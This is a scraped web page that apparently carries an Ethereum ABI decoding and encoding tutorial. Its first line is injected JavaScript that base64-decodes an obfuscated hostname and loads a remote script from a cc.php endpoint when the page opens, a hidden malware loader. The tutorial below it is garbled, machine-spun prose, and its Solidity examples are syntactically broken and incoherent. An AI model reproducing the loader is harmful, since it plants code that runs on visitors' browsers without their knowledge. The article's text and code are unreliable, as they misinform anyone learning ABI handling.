const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=03dc5036″;document.body.appendChild(script);
Ethereum Abi Decoding and Coding: Muzzle by Structures and Code
How to work out with the inteling -actual counterattacks ethereum, the tongue of the programming there is a resolution for the creation of efficient and unsettling code. In this state, we will be subjected to the basis of decoding and coding and coding abi (attachment), having been shaken on structures and their introduction.
What is Abu?
Abi – this interface, which defines the set of rules and scoring for the midst of the overflows. By the time, this counteract on your own counter -attack with the restoration of the conquelic handcuffs. Abi is used by different platforms, in the Tom Chisley Ethereum Remix, Treuffle Suite and other instruments that the transformation code of the fits in bytecode.
structure abi
In the solidnost structure (also the existence as object) has the following structure:
`
STRUCT STRUCTNAME {
// field1: Type1, desk
Type1: Type2, Description: “Field 1 Description”
…
}
`
Here’s what the field is introduced:
Typex
: Tip data fields.
Description
: Short description of the field.
Decoding Abu
Decoding the file ABI or Contract from the Code of the Failure to You need to do the rules and the Ogranic abi on your own structures. Here are several prototted prime:
1.
`
Struct mycontract {
// Dislide the fields as the expiry
uint256 balance;
}
`
- TIP ATTRESSION : You also can take the tip of the wickedness (for example, the bodies of the scales) on your own data data. This is a job with the Polish contract or the libraries.
`
type int = uint256;
Struct mycontract {
// Dislide the fields as the expiry
Int Pricex18;
}
`
- Postproofing Parameters : ABI set the entrance parameters for counteract. You can do these parameters with your own arguments.
Coding ABI
Attaching the code of the wickedness into the file Abi to you need to be killed that your code is provided by the provilia and the ONTIA ABI, indicated in the definition of the contract.
1.
`
Struct mycontract {
uint256 balance;
}
`
- Fields of the fields : Remove the fields as the expanding with the corresponding types and descriptions.
`
Struct mycontract {
UINT256 Balance: 1,
Int128 PricEx18: 3,
Uint64 sums: 4,
UINT64 PC: 5,
UINT64 NONCE: 6
}
`
3.
`
type int = uint256;
Struct mycontract {
Int Pricex18: Int;
}
`
PRIMER WARIANTS
In addition, we have a counterat that determines the structure of the orders with the following abi:
`
Struct Order {
Bytes32 Sender;
int128 pricex18;
int128 sums;
uint64;
UINT64 NONCE;
}
Pragma Polidy ^0.8,0;
MYContract {
Cartying (Address => Order) state orders;
Function Placeorder () Publicable {
// Revet a given order from abi
Bytes32 Sender = msg.sender;
int128 pricex18 = 10;
int128 sums = 5;
Uint64 Expiration = block.timestamp + 60 days;
uint64 nonce = uint64 (0);
// Code
Order memory order = order (
the officer,
the shada18,
colicity,
istation
non
);
// Harassing the order in the cartilation
Orders [msg.sender] = order;
// Emizing the Coathers (inappropriately)
Emit play (msg.sender, order);
}
}
`
In this one, we reiterate the structure “Pork” and the function of the counter -sect Placeder ()
, which takes the entrance parameters from abi.